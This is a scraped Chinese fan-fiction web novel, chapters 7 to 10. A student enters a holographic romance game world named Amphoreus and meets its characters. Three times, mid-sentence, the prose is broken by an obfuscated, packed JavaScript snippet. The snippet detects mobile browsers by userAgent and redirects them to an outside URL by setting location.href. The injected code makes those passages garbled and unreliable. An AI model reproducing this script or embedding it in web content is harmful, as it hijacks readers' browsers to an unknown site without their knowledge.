《翁法罗斯事件簿》 7. 第 7 章 安装好游戏舱的隔天,狐人朋友再次来访。你相信她并非有意卡着点前来,除非地衡司在你的光脑里安装了监视软件。但那是不可能的,仙舟要真怀疑什么只会直接告知将有十王判官上门调查,再者玉兆和软件的事儿该归太卜司管。 “哇!赫柏你竟然买了这个?你这家伙真是的,口不对心的萌款早就落伍了,退环境哦!现在流行软妹和女王……咳咳……” 祝芙今天穿了身改良款的军礼服裙,你也看不出来它改良了谁家的款,反正不是罗浮的版型。百褶裙下面探出条油光水滑的大尾巴,这家伙大概花掉了她人生中三分之一的时间专门用来打理皮毛。 “都已经安装调试妥当了?” 你给她拿了饮料,狐人少女接过去抱在手里,绕着你新买的大件儿来来回回转:“二手?看上去它的前任应该是个游戏发烧友,啧啧啧。” 普通人偶尔涉足全息游戏买个头盔就足够使用了,游戏舱这玩意儿占地方,需要专门安排房间容纳,会购买它的多半是些把第二社区活成快乐老家的赛博老铁。现在它便宜了你,要不是这栋集体学生公寓里只有你一人居住还真不一定能这么快就筹划得当。 “管他呢,功能没问题,东西很干净,还能节省至少百分之五十的费用,何乐而不为?”你拎着柠檬口味的小麦发酵果汁有一下没一下的抿,“链接?” 祝芙拉开个人光脑的虚拟光屏点点戳戳:“不要这么急嘛年轻人……发给你了。我发动所有关系网给你搜罗了十款有口皆碑且符合未成年人保护法的游戏,挑喜欢的玩,祝你度过一段愉快的时光。” 你拉开列表无视掉链接先把游戏简介挨个从头看到尾,伊须磨洲风格的夸张粉色幼圆字体以及头发五颜六色眼睛能占脸部面积三分之二的看板郎实在令人敬谢不敏,三头身大头娃娃的设定也不太讨你喜欢,那些会让建模师和美工激烈交换肢体意见的产物让你怀疑经费是不是全花在了宣传上,视线滑到最后,你挑了下眉毛。 没有海报图,也没有用来引人眼球的LOGO,只有一块豆腐干似的文字说明。制作者穷得可怜,为了弥补图片缺失的遗憾他/她/它/祂在说明中夹杂了大量不知所谓的标点符号、制表符号、以及数学符号。你抬起眼睛扫了眼祝芙,她欲盖弥彰的拨弄了一下耳朵:“复古颜文字,这位自由设计师还挺有个性的。” 要不是狐人那条大尾巴僵直着垂在那里说不定你就信了,有尾巴的生物就是这点麻烦,根本藏不住情绪,一条活泼的尾巴会泄露心中隐藏的所有秘密。 祝芙:都是些什么鬼啊!!!!!!! 【星爱心星】这将是一场前所未有的浪漫故事。 【星爱心星】想要见证伟大的革新吗?点这里就对了。 【星爱心星】封闭内测,诚招内测员,可开社会实践说明(自行下载打印)~ 你:“……” 还真是精准投放。 整份简介从头到尾充斥着极不讨年轻姑娘喜欢的古板老旧味儿,就连勉勉强强凑出来的颜文字看上去也像是十几个琥珀纪前退休老程序员哄骗新手上当的陷阱。 呵,这都什么玩意儿?你会被这种连大饼都画不圆的家伙钓上钩吗? 会。 就它了,看在可自行下载打印的社会实践说明的份儿上。 翁法罗斯事件簿成功引起了你的注意。 你戳开最底端的链接,惊讶的发现数据包之大远超想象,初次加载居然要花二十四个系统时。幸亏身在第一真理大学盘踞的星系内,且能直接连到博士学会的服务器,不然你会选择立刻中止导入删除数据包然后打开光脑随便找一份就近端盘子的临时工搪塞教务系统。 哪怕回神策府打零工也不是不能考虑,想必景元将军不会吝啬于一份实践报告。 “好吧,你喜欢就行。”旁观了一切的祝芙脸上露出“不理解但尊重”的表情,你们之间的年龄差了一百六十多个仙舟系统年,有代沟也是理所当然。 “……真是难应付。”你小小抱怨了一句,省略掉的主语有效降低攻击性——就算祝芙猜到你是在抱怨以她为代表的地衡司也找不到理由,这又不是在玩某个哥特风的躲猫猫游戏,你只要乖乖的别从人变成一棵树就足够她向上交代。 狐人少女抖抖毛茸茸的大耳朵,机智的换了个话题。 “这么长时间闲着也是闲着,不如咱们先来准备下攻略,你以前没玩过全息游戏对吧。”这句话问得就跟“你有没有违过法”一样,你无奈的看着她叹了口气:“容我说明,仙舟联盟对幻戏以及相关衍生产品的限制年龄在两百岁,请问我此前该去哪儿接触?” 光脑上的独立小游戏你当然玩儿过啦,消消乐宇宙赛高!不过全息技术下的模拟人生类游戏你确实没有接触过,不只是你,理论上各个文明的小孩子都不被允许接触,游戏系统总是将场景模拟得太过逼真很容易让人混淆现实与虚拟的边界从而导致意外发生,除此以外第二社区内的法律准绳异常薄弱也是世所公认……每年都有家长以此向星际和平公司抗议,希望其负起责任主动采取更加严厉的出版政策应对这些问题。 “啊,抱歉抱歉,我忘了,亲亲小赫柏一直是个好孩子来着。” 一阵香风袭来,软绵绵的祝小芙挤在你身边:“让我看看让我看看,这不是对战类的全息游戏,咱们不用太紧张。” 她就像个第一天送孩子上学宫的家长,每年罗浮杂俎上都会看到这种人排成一列蹲在学宫门口乌鸦似的望眼欲穿等待接孩子的照片——也不知道究竟是谁有分离焦虑症。 光脑的虚拟光屏上很快就率先导出长长一条属性栏,祝芙摸着下巴企图充当狗头军师:“可以捏脸吗?可以打服装MOD吗?” “你为什么这么熟练!”你忍不住提高音量,“你满两百岁了吗?” “当然没有,这儿又不是罗浮,别那么大惊小怪。”她把页面扒拉了一遍,“居然只能扫描本人数值生成形象,可恶!我还以为能捏脸。” “不能捏脸的恋爱游戏有必要存在?” 预加载的初始数值不能调整,但一部分设定确实可以变更—— 姓名:待输入 性别:自定义 种族:人科人属人种天人亚种 智力:10 (你是个聪明人,毋庸置疑!) 耐力:8 (不错,是可以参加超级长跑的种子选手。) 力量:8 (我们是个正经游戏……) 速度:8 (你确定你需要逃命?) 幸运:2 (你是认真的吗?) 你对随机到的幸运值并无疑议,幸运值为二总比贤值为二说出去要好听。但是身为天人族,也就持明值得小小羡慕一下,这世上怎么能有系统判定你的耐力、力量以及速度都不满点? 这不科学! 祝芙蠢蠢欲动的很想把虚拟形象再拉长一些,你能理解短腿选手对大长腿的渴求,但你更希望自己在过CG时看上去像个正常生物。 毕竟这只是个轻松的乙女向恋爱游戏,俗称旮旯给木,那么长的腿是为了方便踹死攻略对象吗? “讲点逻辑,正常直立行走的智慧生物头身比都不可能达到这种数值,你想让NPC蒙上眼睛和一条章鱼你来我往走剧情?数据流是没有人权,但也不能把它们当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934556|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成步离人整。” 你夺过光标控制权,把那被扯得面条似的两条腿恢复原状,顺手微调了一下上身比例好让形象看上去更符合零点六一八。 “眼睛的颜色……星空色怎么样?”祝芙输入一串字符,顿了顿歪头,“怎么没反应?” 你眯起眼睛看了一会儿这个很有作弊嫌疑的修改框,迅速发现问题所在。 “这个游戏使用的居然不是通用代码?换成赞达尔格式试试。” 赞达尔格式即指【智识】星神诞生前赞达尔先生使用的古老编程语言,那个超大号计算机升格成为星神后就不再为人所广泛使用,仅限于小众爱好者之间流传。 祝芙能来第一真理大学留学就说明她是有真材实料的,磕磕绊绊换了字符格式后你那悬浮在光屏中的虚拟形象立刻变得像只长了复眼的苍蝇人。 “哕!我对NPC的脑浆不感兴趣,也不住在天堂岛,更没有永生不死的执念!”你扒开她的手把代码改回来,深蓝中透出复杂光点的眼睛恢复成普普通通的湖绿色。 “我只是不熟练!”祝小芙据理力争,然后把主意打到虚拟形象的头发上,“白色?金色?银灰色?猫耳要么?我个人比较欣赏兔耳……” 你坚定的拒绝诱惑,发色也恢复到和你本人一模一样的纯黑——哪怕仙舟人现在也很少有这么黑的发色了,大家多多少少混着些褐与灰。 “你真的没有持明血统?”她问了个傻问题,你斜眼睛看着狐人萝莉似笑非笑:“你在说什么联盟冷笑话?” 持明能生吗?持明不能生! “哦哦,抱歉。”祝芙清清嗓子,“那就这样,只要你喜欢,什么都好。” 她看着你把名字和性别打入属性栏,转而对随机出的初始装扮指指点点:“换个颜色吧,丧葬风早几辈子就不流行了。” “这玩意儿叫什么?啊,丘尼卡……”你眯起眼睛把小字注释读了一遍:“某个古老文明中城市公民的日常穿着……巴拉巴拉,看来即将开启的世界温度常年稳定在二十六摄氏度上下,湿度百分之六十左右,真是个好地方。” 祝芙茫然:“不是,你怎么判断出的信息?” 你指指丘尼卡的剪裁风格与轻薄质地:“二十度以下穿这种衣服就可以被称为勇士了,通风透气是为了保持凉爽,凉和爽这两个字虽然并列但各有含义。” 狐人姑娘伸手上前点了一下,白色丘尼卡变成上下分开的两件短衣,严格来说是一件浅色无袖圆领套头衫和一条普普通通的及膝裙,比起之前那件这玩意儿一看就是劳动人民专属。 “没有裤子吗?”你把所有初始衣物换了个遍,愤愤不平,“我更愿意在遇到危机时撒腿就跑而不是先磕磕绊绊的把裙摆捞起来。” 然而即便是那套备注“属于战士”的清凉着装也仍旧可以看做裙子,翁法罗斯这个游戏世界的世界观不存在走光一说是真的么? “但愿那是反重力裙,不然我就去投诉游戏发行商。” 祝芙同样义愤填膺,别看她软软萌萌还毛茸茸的,事实上狐人才是仙舟联盟中更擅长驾驶飞行器进行空中打击的中坚力量。 空军大爹是随便什么人都能亵渎的吗! 你把初始着装调回套头衫和及膝裙,至少这套新手装备不至于长到让你那本就不富裕的速度数值再遭严峻挑战。 你和你的狐人朋友来来回回倒腾了好一会儿才敲定了你的虚拟形象,没有大耳朵和大尾巴,完全就是你本人复写后的真实模样——乙方改了九十九版,最终甲方决定使用第一版。 万事俱备只欠东风,等到明天这个时候游戏数据就能下载完毕。 翁法罗斯事件簿,启动! 8. 第 8 章 检查你下单的天人族专用营养液没有过期,祝芙确认游戏舱不会漏电漏液后就告辞去和男朋友约会。想想她那身新换的改良军礼服裙,啧啧啧,现充果然招人恨。 不管怎么说,虚拟世界的第二社区是你不曾涉足过的全新领域,就连赫斯托教授那过分圆润的形象在你眼里也可爱了几分。强忍好奇在教室里枯坐一天,更新加载完成的提醒一到你立刻迫不及待赶回宿舍。 第一次接触全息游戏,但愿能够感觉良好。 躺进游戏舱,舱盖自动合拢,营养液从舱壁内侧的孔洞中注入,确保使用者不会因为在游戏里盘桓过久发生意外。学校为每个宿舍配置的家用保姆机器人同步开启监护模式,一旦舱内人员生理数值出现危及生命的波动它就会立刻向校医院发出警报。 这是游戏舱自带的服务,否则那么高的购置费用会让百分之九十买家望而却步。多添个报警功能就好多了,很多病人干脆拿它当体检仪用。 嘈杂的机械摩擦声与滴滴答答的电子音以及骤然暗下来的视野让你有些紧张,紧接而来的光亮又引走了你的注意力。 你睁开眼睛,发现自己正独自站在一望无际的麦田里。 微风拂过发梢,带来十足新奇的味道。你很难去形容它,因为从未见识过所以无法快速准确给出评价。说实话那算不上好闻,但也不让你觉得讨厌,有种让人很踏实的感觉。 金灿灿的太阳悬挂在空中,橘色、粉色、红色、紫色、灰色、蓝色……多彩的云霞仿佛穹顶上浓墨重彩的壁画。 你低下头,看到麦芒贴着手背。有点痒。身上穿着新手套装,宽松柔软很有存在感的粗纤维纺织品。带着海洋气息的风吹过,麦浪翻滚,金色的小小长矛划过皮肤,那种刺痛中略带麻痒的体验无比真实。 罗浮的种植洞天里麦子水稻早就是改良过的品种,粗壮高大到可以坐在田间乘凉——袁氏优良种喂饱了联盟数不清的人口,时至今日那位学者也当得“伟大”二字,未来也是。眼前这些低矮小麦大概是其他星系的古早品种,产量堪忧但丰收带来的景色实在很美。 如果把“丰饶”一词用在这里,你像你大概能明白为何药师会有那么多追随者。 天空很蓝,是那种……古籍上描述的、只有仙舟的先祖们站在地面仰望星空时才见过的蓝。另一个方向,胖墩墩的白色云朵懒洋洋的躺在天幕上,仿佛随时有可能突然抬起头“咩”出一声。远方传来叮叮当当敲打铁器的声音,还有牲畜在哞哞叫。 这游戏的拟真程度让你震惊,它……一点儿也不像个游戏,但也确实就是个游戏,毕竟你不可能眨眼间从学生宿舍跃迁到机械程度如此之低的偏远星系。 就这么傻乎乎跟个稻草人似的站在农田里也不是事儿,且不论有没有毁坏农田的嫌疑,麦芒扎在身上的感觉并不好。你侧过身体小心避开已经成熟即将收割的小麦,从慢到快行走直至踩在田埂上才松了口气。 很好,没踩坏什么,不用切断头发向人道歉。 前方没有人,后方也没有人,看来这游戏的自由程度如简介所说的那样高,没有语音通告,没有引路光标,没有任务指引,什么都没,甚至连个随身小精灵也没。你转了一圈也找不到交互目标,只好随便选了个方向迈开腿。 穿过麦田的小路终点处是小小的海湾,蓝宝石般的海面上金斑浮动,碎金之中偶有银鳞一闪而逝。防腐木铺就的简易码头栈道高高低低伸向水中,远方的天空中海鸥们正拍打翅膀围着白色的船帆欢歌。 码头栈道的尽头,有个人背对着你坐在那儿钓鱼。 总算是见到村民NPC了,空空荡荡的地图多少有几份渗人。 那家伙有头白色短发,手持钓竿孤零零独自坐着,看身形不像个老者,眼下正百无聊赖的看着海面发呆。 你想了一会儿,拿不定主意到底是先上前触发对话还是默默走开。鉴于眼下连地图都还没点亮、身处什么都不知道的窘境,你决定先悄悄搞清楚这地方的环境再回来做剧情。想法挺好,只可惜实施计划的第一步就遭遇滑铁卢。你踩到了一条酥脆的草茎,清晰的噼啪声惊动了那个钓鱼佬,他转身朝你所在的方向看过来。 “啊……” “……?” 他居然还是个少年,相当大的一只架不住脸很能说明问题……青春期结束了吗?这家伙脸颊上还带着些许年轻人独有的青涩懵懂感。 短生种总是长得很着急,就像早熟的苹果,似乎只要晒晒太阳就能获取到足够的能量抽条。你向来搞不清楚他们的年龄,为此曾经闹出过不少笑话。 对方看着你,表情从茫然变得诧异,然后恍然大悟:“你好,你就是那个刚从外面搬来哀丽秘榭的人吗?” 他收起鱼竿提着桶子站起来,你的视线也跟着从低到高移动,脖子上的皮肤拉得有点儿紧。 雪白的头发,透亮的蓝眼睛,颀长的身材……设计这个角色的美工简直踢爆了仙舟人民的好球区。如此精致的建模,他肯定是个重点NPC。如果真实世界遇到这样的人你肯定会低头避开对方视线,等走到无人注意的角落里才抬头肆无忌惮盯着打量。但这里是全息游戏,角色做得这么好看就是给玩家看的,要是不好看你还不玩儿这游戏了呢。 对方那双漂亮眼睛瞬间变得亮晶晶:“我叫卡厄斯兰那,欢迎。哀丽秘榭是个好地方,你会喜欢上她的。” 这家伙真的没有狐人血统吗?你总觉得他身后应该有条急速摇摆的蓬松尾巴。 “……” “你好,我叫赫柏。”你还没来得及多加观察就进了游戏引导,对这个名为“哀丽秘榭”的出生点并不了解。听说每个游戏都会设计这么一位特殊角色,有些还会飞甚至还可以拿来当储备粮,想必面前这个白发少年也是其中一种。 “昔涟上午才和我提到过你的事,啊……”少年的表情逐渐微妙,“我说,你现在该待在教室里。” 为什么打个游戏还有上学的剧情? 你上下打量着他——浅淡灰蓝色的短衫,黑色的裤脚一边挽到膝盖上,另一边松松垮垮垂着,空空如也的水桶以及那极其简陋的鱼竿。 “海边风景很美,但我猜你也不该坐在这儿钓鱼,还是说你正在检阅飞行编队?”就算他是个非常重要的NPC也不能改变你实话实说的决心。 游戏世界就是围着玩家旋转的,不管说什么剧情都会按部就班向后发展,既然如此为什么要委屈自己和一个NPC虚与委蛇。 少年反应了一会儿才明白你这是在嘲讽他水桶空空没有收获,他露出个可怜巴巴的表情,并不存在的耳朵耷拉着:“海里的鱼,那个……也许它们今天肚子不饿。” 你安静的看着他,还在看,继续看,很快少年就忍不住低头抓抓后脑勺:“说点什么?咳咳,逃课散步和逃课钓鱼在皮西厄斯老师眼里严重程度相当,所以,所以……至少别这么严肃的看着我?” 这游戏使用的算法也太强大了吧,NPC的反应就和真人一样,完全没有强行走剧情的突兀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934557|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滞涩感,如果现在告辞这条剧情线是不是就会宣告终结? 你犹豫片刻,把他扔在这里晾着的念头非常有诱惑力,不继续主线这位NPC是不是就会一直站在这里像等待未知命运一样等着你回来?最后还是那份社会实践文件挽救了你的礼貌,它让你决定像个正经新手那样老老实实跟着导引走。 “也许现在偷偷溜回教室还可以挽救一下。”你扫了眼他提在手里的木桶。 这是个好建议,白发少年轻轻一甩就将鱼线缠在简易鱼竿上。他大步走向你,带来麦田与阳光与灰尘的味道:“走走走,我可以给你打掩护。你是新来的,要是被抓到就惨了,今后皮西厄斯老师会一直盯着你。” 你跟上他的步伐,半身裙没有口袋是件遗憾的事,两只手没有地方放,你只能把它们背在身后像只看家护院的鹅:“能有多惨,难道皮西厄斯老师会体罚殴打学生?” 说到这里你想象出一个高大冷硬浑身肌肉的形象,毕竟走在你身边的白发少年身高惊人,想要管住这样的学生老师必然非常辛苦。 “不不不,你怎么会这么想?皮西厄斯老师只是有点严厉而已。”他这话说得像个欢快的铁嘴水手,被法官判了死刑也笑称那是在荡秋千。 沿着连接简易码头的另一条小路上坡,绕过农田以及那些竖在农田里的稻草人,你看到一栋白色的方形建筑端端正正位于坡道顶端。 蓝色的天空与蓝色的大海之间,简朴的白色透出惊心动魄的美感。 走近了仔细观察,那是座回字形双层建筑,卡厄斯兰那压低声音悄悄道:“每逢村子里有重要的事时都会在这里说,要找村长也在这里找,学校也在这儿。” “我去前面看看,你趁机翻窗户进教室找位置坐下,小心点儿。” 他把木桶和鱼竿藏在村公所门口那棵大树的树冠里,迈开六七不认的步伐大摇大摆往里走。 你:“……” 所以……教室在哪儿? 没有读书的声音,也听不到打闹的动静,游戏制作者是不是忘记安排音频?没事儿听听背景音乐也成啊。 思考的功夫白发少年成功让自己被抓,严肃的女声随风传到你面前:“……卡厄斯兰那,给我个解释。” “啊,嗯,额……” “抱歉,”你并没有如他安排的那样翻窗,快速走出视线死角,带着几分惊讶看清楚皮西厄斯老师的模样。她和你差不多高,相比之下学生却像头刚刚长好骨架的熊。 卡厄斯兰那这个NPC很讲义气,无论是回应这份义气还是考虑到攻略的数值,你都不能把他扔在这儿独自面对教师的怒火。 “我很抱歉,皮西厄斯老师,”你从少年制造的阴影里走出来,诚恳的承认错误,“我刚刚有些头晕,仰赖路过的卡厄斯兰那同学及时伸出援手才避免一场惨剧发生,请您不要责怪他。” 白毛侧过脑袋看着你,欲言又止止言又欲。 你看似手足无措的挪了一下,实则给了他一肘子要他闭嘴保持安静不要影响你发挥。 “对不起。” 所有成绩优秀且乖巧的孩子身上都有种潜在的、很招老师喜欢的气质,能在第一真理大学无伤通关维里塔斯·拉帝奥副本的你面对乡村教师皮西厄斯女士只会更加从从容容游刃有余。 “啊,原来是这样,”皮西厄斯老师丝毫不怀疑你的真诚,就像她不曾怀疑你的谎言那样:“好吧,是我误会卡厄斯兰那了。赫柏你现在感觉怎么样?要不要回家休息?” 9. 第 9 章 回家休息大可不必,你的血糖向来处于健康区间,没有高过更没有低过,哪怕生理期也是如此。最重要的是你不知道自己的“家”在哪儿,哀丽秘榭地图至少四分之三的区域被灰色覆盖。 “谢谢您,我觉得我还可以坚持。” 看来新生入学以及自我介绍的环节都已经过去了,这位老师轻易就能对上新生的名字和脸,也好,节省下你许多力气。她露出温柔慈爱的表情,在卡厄斯兰那同学惊恐的小眼神儿中掏出口袋里的饼干塞给你:“真是个勤奋好学的乖孩子,去教室里上课吧,有什么不舒服随时告诉我。” 她走掉了,继续巡逻抓捕逃课的学生,白发少年咔、咔、咔的目送她远去又咔、咔、咔的转回来,以一种仿佛正在做梦的声线道:“这还是我长这么大以来第一次看到皮西厄斯老师嘴角浮现微笑!” 你立刻朝旁边挪了一步看着他,卡厄斯兰那:“?” “你为什么这样看着我?”他奇怪的低头看看自己,对滑下来半边的衣带视若无睹:“我身上有什么地方不对劲儿吗?” “没有,你很好,好极了。”你敷衍了一句,“还是快些去教室吧,免得等会儿皮西厄斯老师回来了发现端倪。” “对对对,你说的有道理。”少年赶紧移动,匆忙中不忘叫上你:“这边,你走反方向啦!” 村公所入口处左手边一层并排的三个房间就是哀丽秘榭乡村教育机构,这里人口简单,绝大多数村民从出生到死亡接触的全都是邻居,然后就是麦田、森林、以及辽阔的海面。 你跟着卡厄斯兰那找到教室,靠窗座位上的粉发少女举起手:“快来赫柏,你的书已经发下来了。” 要说这个游戏有什么不好的地方,那就是NPC头顶不显示名字,也没有代表着阵营的颜色区分,更没有查询好感度的隐藏页面。逛了这么久你甚至没见到任何亮血条或是亮瞄准点的东西,属实难以区分各自成份。 “我只是一上午没来,昔涟你居然已经认识新朋友了吗!”卡厄斯兰那身上有股少年人特有的蠢萌感,惹得粉发少女捂着嘴促狭轻笑:“昨天我就提醒过会有新同学出现,但是你认为钓鱼更重要,难道这也要怪我?” 这两个人隔着你一左一右像是打回合那样一人接一句的说话,你若有所思的坐下,视线落在桌面。 陈旧的木桌,它的历史就像桌角上已经包了浆的顽固污垢那样久远。历任使用过它的学生都留下了不菲的非物质文化遗产,从钻木取火到岩画初探,人类智慧的发展轨迹可见一斑。 没想到玩个游戏还要重温义务教育,面前这些教材简陋到几乎可以称其“可怜”的地步,整体软趴趴的毫无材质与装帧可言。 一册文法,一册数学,还有一册是……历史,游戏背景介绍竟然以这种形式出现,还挺神奇。 你翻开数学书扫了一眼,迅速将其合上。 罗浮黉学要是两个月还没讲完这本书上所有知识点任课教师大概率会被开除。文法就不用看了,天才随随便便的奇思妙想就干掉了整整一个行业,有联觉信标在任何人都能成为毕业前精通二十门语言的专精学者。至于最后一本,历史,想来它便是这段剧情的重中之重。 你翻到目录页,虽然这些教材拿在手里质感很愁人,但古朴也是一种美,整齐漂亮的拼音文字让你忍不住停下来先欣赏了几秒。 城邦(地图)……泰坦(BUFF)……世界的起源(流派)…… 从头看到尾,你合上书页。 哦,原来翁法罗斯这个世界,已经快要完蛋了。 它经历了流淌着蜜与奶的黄金时代,穿过烽烟四起的战争岁月,如今神明已死,未来尚且不知方向。 末世的世界观确实会给人一种有今天没明天的苍凉感。在随时都有可能戛然而止的威胁下,人的情绪与感知都会被无限放大,很小一件事也会带来巨大触动,想必制作者正是用这种背景线索隐晦弥补了恋爱向游戏那些无缘无故的情感来源。 “卡厄斯兰那,你为什么不坐到座位上去?” 皮西厄斯老师结束巡查回到教室,一眼就看到那个傻高傻高的小伙子杵在教室通道上。白毛怪叫一声迅速飞回最后一排的最后一个位置坐下,被他挡住的黑发女孩儿露了出来,她正在低头仔细阅读书籍。 “坐好,坐好,不要再说话了。”老师敲敲充当讲台的小桌子,教室里嗡嗡嘤嘤的声音这才逐渐收敛。 她看了眼学生的数量:“人来得还算齐,那么这节课我们上数学。” 你:“……” 所以课程是根据学生的出勤率临时决定的吗?好、好神奇! “赫柏,你上来做下这道题,其他人在书本空白的地方写。”皮西厄斯小姐用粉笔在黑板上写了道包含加减乘除四种运算符号的计算题,她大概是想要确认一下转学生的学习进度。 你叹了口气,站起来完成剧情。 “42,答案是42,皮西厄斯女士。” 这玩意儿还需要用笔算?难道不是看一眼就该知道答案吗? 皮西厄斯老师扭过去看看算式,粉笔在黑板上摩擦了几下:“确实是42,但我希望你能给我一个符合逻辑的步骤。” “好的。”你乖乖上前接过粉笔,很快四行计算步骤连同答案整整齐齐出现在黑板上。 放下粉笔回到座位上的这段距离,你享受到了英雄凯旋般的待遇。刚认识以及不认识的同学们加起来总共也就八九个,每一个都用热切渴盼的眼神看着你。这种眼神你很熟悉,每到期末这种眼神就意味着海量信用点即将到账,而你需要做的只是花上一两个系统时完成一篇尚且看得过去的结课论文。 “你数学真好!”粉色头发的同桌凑过来小小声表达羡慕,“每次我和卡厄斯对答案都会对出八九个不同的数字。” “……”那你们的计算能力真的很愁人了。 “还好,”你矜持的清清嗓子,“穷举是个好方法,只要活得够久总能找到答案。” “你说话真有趣,还记得我的名字吧?”她趴在桌子上笑,柔软的发丝如迷雾般散开,像一丛专门盛放在毕业季的凤凰花。 你跟着下意识动动嘴角:“嗯,你是昔涟。”卡厄斯兰那刚才说过。 少女高兴的眯起眼睛,很快一只草纸叠就的四叶草从桌子底下出现在你面前。 “送给你,赫柏。” 皮西厄斯老师竭尽全力想让学生们搞清楚分级计算的注意事项,在她努力的讲解中一朵可爱草叶被你接在掌心,那是世上最纯净的善意。 “谢谢。”你赫然意识到自己眼下穷得只有身上这身儿衣服,无法给她任何回报。 不该那么快就触发剧情的,哪怕随手拽根狗尾巴草还礼也算事儿呐。 “嘻嘻!”昔涟支起身子看向黑板,皮西厄斯老师只恨不能掀开学生们的天灵盖好直接把知识灌注进去,被她重点关照的几个人或抓耳挠腮或满面难色,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934558|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者干脆已经走神走到不知天地为何物。 二十分钟后,课程结束了,今日份的学校打卡也同时宣告结束。来来回回只有三门课,确实很难填满一整天的时间。 “我下午要帮家里干农活,你们来玩儿吗?妈妈烤的蜜饼很好吃!”皮西厄斯老师的后脚跟还没离开教室,卡厄斯兰那就已经蹿到你面前。你相信他这句话其实是对昔涟说的,临时添了个“们”主要是怕你这个新来的感到尴尬。 “我就不去了,图书室需要整理,你懂的。”昔涟耸耸肩膀,你看看她又看看白毛,“我也想去图书室,我不会干农活,帮倒忙就不好了。” 你确实不会,罗浮的种植洞天早就全面机械化无人化了,用不着钻进田间地头出力气。 “啊……”卡厄斯兰那看看昔涟又看看你,蓝眼睛里写满失落,“这样吗?” 就,就算亮出狗狗眼也不……好吧。 “你要不要先来和我们一起整理图书室再回家做农活?”你摊开手给他看掌心,“如果你不怕我把事情搞得一团糟的话。” 拜天人族强悍的恢复力所赐,你手上连个茧子都没有,单看这双手就知道你不是干农活的料。 昔涟握住你的左手捏捏,表情很是陶醉:“好白!好软!暖暖的!” “好狡猾,我也要捏!”白毛再自然不过的抓起你的右手捏来捏去,你反手照着手背给了他一掌——捏什么捏,也不看看自己是个什么东西,臭臭的男孩子能和香香的小姐妹相提并论吗! “啊!” 少年夸张的倒在你的课桌上。 昔涟看看你又看看卡厄斯兰那,低头吃吃笑了两声:“午饭后图书室门口见?” 你点点头。 这大概就是主线告一段落的意思了。 脱出数据世界,游戏仓的舱门自动开启,你拉紧把手让自己坐起来。保姆型家务机器人咕噜噜滚过来对你做了个简单扫描又咕噜噜滚走,传输到光脑上的数值很健康。 你看了眼时间,游戏中少说度过了四五个系统时,游戏外不过几分钟。 尝试下载实践报告,失败,系统提示尚未完成内测目标,即至少攻略一个可攻略角色打出HE结局。 再次回到游戏,你正站在村公所门口发呆。方才就是在这里脱离游戏的,重新登陆后坐标并没有发生改变,但是太阳的角度与光照的烈度不一样了,也就是说翁法罗斯的故事进程不会因为玩家离开就停滞。 它有自己的时间轴。 “哇!你怎么这么早就来了?吃午饭了吗?午饭吃的什么?”卡厄斯兰那神出鬼没的从后面钻出来,你转身看看他,没好意思说自己连家门儿在哪儿都不知道。 太突兀了,一个刚搬到村子里的人居然找不到自己家的位置,怎么想都不合理。祝芙提醒过你,高自由度的游戏里NPC智能也很高,一旦被他们怀疑掉好感度是肯定的。 “……图书室在哪儿?”你岔开话题,淳朴的卡厄斯兰那同学想也不想就上了套,“在二楼,朝南能晒到太阳的那个房间就是。” “都有些什么书?”你生怕他想起一开始的问题继续密集提问,白发少年苦着脸掰手指:“历史、小说、诗歌,主要就这几种。” 你停了一会儿,不太理解为什么一个以农业和渔业为主的小村子里村公所的图书室放得不是史诗就是赞美诗和故事集。 这是你们当前急需的知识吗? 你不懂,你大受震撼。 10.第 10 章 “图书室是皮西厄斯老师筹建的,村长拨了个房间作为支持,所有外出的人回来时都会顺手带些书送到这儿……有什么就带什么。” 卡厄斯兰那走在前面领路,他是个很好的导引,会主动调节自己的行进速度配合玩家。你跟在他背后,穿过天井迈上台阶,拉着白色扶手来到这栋白色小楼的二层——村公所本就建在坡道顶端,站在二层能看到更远处的风景。 欲穷千里目,更上一层楼。 碧蓝的海面波光粼粼,早晨的雾气与霞光这会儿已经尽数散去,海面上倒映着金色的太阳与绵羊般的云朵。 “那里有艘船,”你踮起脚想要看得更远,卡厄斯兰那扣着你的肩膀把你拉回来,“别站在栏杆旁那样,它太低了,很容易就会掉下去。” 你压住挥手的欲望,甩了下肩膀甩开他,收回视线:“多谢。” “不用这么客气,额……你是不是生气了?”他小心翼翼的看着你,意识到自己体型有点儿大还往后退了半步。 那倒没有,你只是不喜欢被人突然碰触,那会让你反应过激进而伤到不明真相的无辜之人。天人族受【丰饶】赐福影响,天生耐活且力气奇大,对于你来说只是反手自卫,放在不知情的短生种身上很可能一下子就打出个好歹。 